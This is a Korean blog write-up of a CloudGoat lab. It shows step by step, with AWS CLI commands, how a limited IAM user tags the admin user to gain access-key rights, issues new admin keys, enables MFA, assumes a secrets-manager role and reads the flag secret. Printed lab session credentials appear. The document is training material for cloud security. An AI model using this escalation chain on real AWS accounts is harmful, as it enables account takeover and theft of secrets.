
실습문제에서 제공하는 Access Key와 Secret Key를 통해 프로필을 생성한다.
1. 현재 할당된 IAM User 분석
먼저 aws sts get-caller-identity 명령어를 사용하여, 내 계정 정보를 확인한다.
{
"UserId": "AIDAW5WU5AJN6EBJ6UVK7",
"Account": "476114125403",
"Arn": "arn:aws:iam::476114125403:user/manager_cgidyxmu2hif5n"
}
출력 결과를 보면, 현재 사용자는 manager_cgidyxmu2hif5n 인 것을 알 수 있다.
manager인 내가 어떤 권한을 가지고 있는지에 따라서, 다음에 확인할 수 있는 명령어가 달라지기 때문에 먼저 aws iam list-user-policies --user-name manager_cgidyxmu2hif5n 명령을 사용하여 manager user에게 할당된 Managed Policy와, Inline Policy를 확인한다.
1. Managed Policy

확인 결과, IAMReadOnlyAccess 라는 정책이 부여되어있는 것을 볼 수 있다. 해당 정책에 대해 자세히 알아보기 위해, get-policy 명령을 통해, 현재 할당된 policy의 default version을 확인하고, 해당 버전으로 권한을 조회해보자.


IAMReadOnlyAccess policy는 v4를 default version으로 사용하고 있었으며, 해당 버전의 권한을 통해 수행할 수 있는 작업은 다음과 같다. 모든 리소스에 대해서,
- 계정 내 모든 사용자에 대한 자격증명상태(password, access key, MFA 설정)가 포함된 Report 생성이 가능하다.
- IAM 리소스가 마지막으로 AWS 서비스를 사용한 시점에 대한 세부정보를 포함하는 Report 생성이 가능하다.
- IAM 리소스에 대한 조회 및 목록 작업이 가능하다.
- IAM Policy Simulator을 통해 사용자 지정 정책 및 특정 주체에 대한 정책 테스트가 가능하다.
2. Inline Policy

SelfManageAccess와 TagResource라는 Inline Policy가 할당되어있는 것을 확인할 수 있다.
aws iam get-user-policy \ --user-name manager_cgidyxmu2hif5n \ --policy-name SelfManageAccess 와 aws iam get-user-policy \ --user-name manager_cgidyxmu2hif5n \ --policy-name TagResources 명령어를 사용하여, 각각의 Policy의 권한을 확인해보자.

위 Policy를 통해 알 수 있는 사실은 다음과 같다. 리소스 Tag가 developer: True의 값을 가지는 경우,
- MFA devices에 대한 활성화, 생성, 비활성화, Resync가 가능하다.
- Access Key를 생성/업데이트/삭제할 수 있다.

위 Policy를 통해 알 수 있는 사실은 다음과 같다. 모든 리소스에 대해서
- User, Role, MFADevice, Policy에 대해 Tag를 추가하거나, Tag를 삭제할 수 있다.
위 두가지 Policy를 살펴본 결과, 특정 Tag가 달려있으면 Access Key에 대한 생성/삭제/업데이트 권한을 얻을 수 있고, Tag에 대한 제어권이 있으니, Tag를 특정 리소스에 달아서 Access Key에 대한 권한을 얻도록 방향성을 잡을 수 있다.
2. 다른 User에게 할당된 Policy 분석
또한 권한 상승할 수 있는 다른 user나 권한이 있는지를 확인하기 위해 aws iam list-users 명령어를 사용하여, 확인할 수 있는 user의 list를 가져온다.
{
"Users": [
{
"Path": "/",
"UserName": "admin_cgidyxmu2hif5n",
"UserId": "AIDAW5WU5AJNYLGDV7PUF",
"Arn": "arn:aws:iam::476114125403:user/admin_cgidyxmu2hif5n",
"CreateDate": "2025-04-05T17:27:08+00:00"
},
{
"Path": "/",
"UserName": "developer_cgidyxmu2hif5n",
"UserId": "AIDAW5WU5AJNR6BAF3DAB",
"Arn": "arn:aws:iam::476114125403:user/developer_cgidyxmu2hif5n",
"CreateDate": "2025-04-05T17:27:08+00:00"
},
{
"Path": "/",
"UserName": "manager_cgidyxmu2hif5n",
"UserId": "AIDAW5WU5AJN6EBJ6UVK7",
"Arn": "arn:aws:iam::476114125403:user/manager_cgidyxmu2hif5n",
"CreateDate": "2025-04-05T17:27:08+00:00"
}
]
}
확인 결과, 현재 나의 권한 외에도 admin과 developer가 존재하는 것을 확인할 수 있다.
1. developer User 분석
developer가 가지고 있는 권한을 list-attached-user-policies와 list-user-policies를 통해 확인해보자.


Manage Policy와 Inline Policy를 확인해보면, Managed Policy는 없고 DeveloperViewSecret이라는 Inline Policy가 할당되어있다. get-user-policy를 통해 policy의 내용을 확인해보면, secretmanager의 secret을 List할 수 있는 권한이 부여되어있는 것을 알 수 있다.
2. admin User 분석
admin이 가지고 있는 권한도 마찬가지로, list-attached-user-policies와 list-user-policies를 통해 확인해보자.

admin도 manager과 동일하게, IAMReadOnlyAccess라는 Managed Policy가 부여되어있는 것을 확인할 수 있다. 관리형 정책의 특성상, 이름이 동일하면 manager과 동일 권한이므로 권한 분석은 생략한다.

Inline Policy는 AssumeRole 이라는 Policy가 attach되어있다. AssumeRoles라는 사용자 관리권한에 대해 자세히 알아보기 위해, aws iam get-user-policy \ --user-name admin_cgidyxmu2hif5n \ --policy-name AssumeRoles 명령을 통해 해당 정책의 실제 내용을 확인한다.
{
"UserName": "admin_cgidyxmu2hif5n",
"PolicyName": "AssumeRoles",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Resource": "arn:aws:iam::476114125403:role/cg_secretsmanager_cgidyxmu2hif5n",
"Sid": "AssumeRole"
}
]
}
}
cg_secretsmanager_cgidyxmu2hif5n role에 대해서 assume할 수 있는 권한이 있다. role의 이름을 통해, secretmanager에 대한 접근이 필요할 경우, admin user을 통해 assume할 수 있겠다는 것을 추측해볼 수는 있으나, role에 대해 자세히 알아보자.
2-1. cg_secretsmanager role 분석
role을 분석하기 위해서는 role에 대한 두가지 정보가 필요하다. 하나는 권한 정책, 그리고 하나는 신뢰 정책이다. 권한 정책은 role에 대한 권한을 나열한 정책 문서이고, 신뢰 정책은 해당 role에 대해 누가 assume할 수 있는지를 나열한 정책 문서이다.

먼저 get-role 명령어를 통해, role에 부여된 신뢰 정책을 확인해보자. 신뢰 정책은 AssumeRolePolicyDocument에 명시되어있다. 내용을 살펴보면, MFA가 활성화되어있는 계정 내 모든 사용자들이 해당 role을 assume할 수 있다. 그러나, 한가지 제약조건이 있다. Condition 부분을 확인해보면, MFA가 활성화되어있는 user만이 role을 assume할 수 있다.
이번에는, role에 list-attached-role-policies 명령어를 통해 부여된 권한 정책을 확인해보자.



get-policy를 통해 어떤 version이 default로 사용되고 있는지 메타데이터를 조회하고, get-policy-version을 통해 부여된 정책을 확인한다. 정책 내용을 확인해보면, secretmanager의 secret의 List를 가져오고, cg_secret이라는 secret의 값을 가져올 수 있는 권한임을 알 수 있다.
결론적으로, cg_secretsmanager role을 assume하면 secret manager을 통해 secret의 값을 볼 수 있다는 사실을 알았다. 하지만 현재 할당되어있는 user로는 secret manager의 secret을 확인할 수는 없으니 admin으로 권한 상승을 시도하여, cg_secretsmanager role을 assume하고 secret을 확인해보자.
3. admin user로의 권한상승
우리는 앞선 managers user에게 할당된 권한을 분석하여, 특정 Tag를 달면 Access Key를 발급받을 수 있음을 알았다.
aws iam tag-user \ --user-name admin_cgidyxmu2hif5n \ --tags Key=developer,Value=true 명령을 통해, admin user에 developer : value tag를 달아준다.
aws iam list-access-keys --user-name admin_cgidyxmu2hif5n 이후 해당 명령을 통해, user에게 할당된 key list를 확인하면, 아래와 같이 2개의 access key가 발급되어있음을 확인할 수 있다.

access key는 기본적으로 Rotation을 위해 하나의 user당 2개만 발급받을 수 있다. 또한 최초발급 순간에만 secret key를 확인할 수 있으므로, 우리가 access key를 사용하기 위해서는 하나의 키를 삭제하고, 재발급받는 과정이 필요하다.
다행히 앞선 정책 분석에서 키에대한 update 권한이 있음을 확인했으니, 해당 권한을 사용하여
aws iam delete-access-key \ --user-name admin_cgidyxmu2hif5n \ --access-key-id AKIAW5WU5AJN3OKF4SIK 명령을 통해 키 하나를 삭제하고,
aws iam create-access-key --user-name admin_cgidyxmu2hif5n 를 통해 키 하나를 다시 발급한다.

새로운 키가 발급되었으니, 이제 admin에 로그인할 수 있다.
Access Key를 통해 admin에 접속한 후, 앞서 확인한 admin의 secretmanager role을 assume하기 위해 sts assume-role을 해보면, 에러가 뜨는 것을 확인할 수 있다.

그러나 확인한 바와같이, cg_seceretsmanager role을 assume하기 위해서는 MFA 활성화된 user에서만 가능했다. 따라서, admin user에 MFA를 활성화한다.

list-mfa-device 명령을 통해 admin에 할당된 mfa device를 확인해보면, 아무것도 없다. 따라서 enable-mfa-device 명령을 통해 MFA를 활성화한다. MFA를 활성화하는 방법은 여러가지가 있지만, 필자는 google authenticator application을 사용하였다.
4. cg-secretsmanager Role assume 시도
MFA를 부여하였으니, 다시 admin user로 돌아와서 이번엔 MFA 정보와 함께 단기자격증명을 넘겨주어 assume할 수 있도록 한다.
aws sts assume-role \ --role-arn arn:aws:iam::476114125403:role/cg_secretsmanager_cgidyxmu2hif5n \ --role-session-name my-mfa-session \ --serial-number arn:aws:iam::476114125403:mfa/admin_cgidyxmu2hif5n-mfa \ --token-code 123456
{
"Credentials": {
"AccessKeyId": "ASIAW5WU5AJN6RAG47EU",
"SecretAccessKey": "h5WFArHN0TmFABSOaW6r078jqT14uSK1li8hAlv6",
"SessionToken": "IQoJb3JpZ2luX2VjELr//////////wEaDmFwLW5vcnRoZWFzdC0yIkgwRgIhAPPGaweZgc4q7yjh3E05BVmGV4V/P9rjUrHmXLHiKwOWAiEA2vi2X8B+dZCdSzwZLNoF8e8wyyNBlCDWbZhE312gdx8qmwIIMxAAGgw0NzYxMTQxMjU0MDMiDIYGDZeyPcASY1SpXyr4Af4Y2y2AzjbD2gmzY2I2BlMRGKp1MoLRGPqAr8c8PVvE8xflVJBnwtyvS0aFOmtSva890lxJ85b653LYZcLxnkR7b8jCqTZZe7hmesx6T1ZQaAk1tx+C9eXSrokfiPOuqrlyEczquJPGzW/dmLUiKVmHBfKHjO/IY4IDoFP6VvKFneAlpAaxK2jOxawlqG95KqTih8JIbLxRNFIn9mR0s92I3m3HHfKTztYhu87isofLjSs+Z4V4M1dxaVyQE3KnEjED2euhivyvQp31f37b2iIzYPwPNE4QRDLkIwXThnnyvWemBFFHruVtFiXWozM3EveXhlbVd4bFMKXoxb8GOpwBBCf+HZPT4La7sSH6sJrVPjURfV2geymxwy0b5rraabEf4PJEBbKMiVQ5ubLiGdw4cFdWzVaYtNTEM7ntYR8+mTkk3Wfm6smLeHaA26yXQ713KhsVuB/FkKNPuuttgQtadkaFPooCSGKXiIsofj8yr2mceDyTupLuz2nudMWLBLzotcYHk83SkC7JuVTEmA2mbnGQkOmPGT9c9Zaj",
"Expiration": "2025-04-05T19:19:17+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAW5WU5AJNVOEWYO67P:my-mfa-session",
"Arn": "arn:aws:sts::476114125403:assumed-role/cg_secretsmanager_cgidyxmu2hif5n/my-mfa-session"
}
}
성공적으로 secretmanager에 대한 role을 assume 받았으니, aws secretsmanager list-secrets --region us-east-1 명령어로 secret manager에 저장된 secret의 리스트를 확인해보자.

cg_secret_cgidyxmu2hif5n이라는 secret이 등록되어있는걸 확인할 수 있다. 이제 아래 명령어로 값을 가져오자.
aws secretsmanager get-secret-value \ --secret-id arn:aws:secretsmanager:us-east-1:476114125403:secret:cg_secret_cgidyxmu2hif5n-YyFnKu \ --region us-east-1

위와 같이 성공적으로 Flag를 확인할 수 있다.
'CloudGoat' 카테고리의 다른 글
| RDS_snapshot(Medium) Write up (0) | 2025.05.01 |
|---|---|
| iam_privesc_by_rollback(Easy) Write Up (0) | 2025.04.27 |
| SQS_FLAG_Shop(Easy) Write-up (0) | 2025.04.23 |
| lambda_privesc(Easy) Write up (0) | 2025.04.20 |
| beanstalk_secrets(Easy) Write up (1) | 2025.04.13 |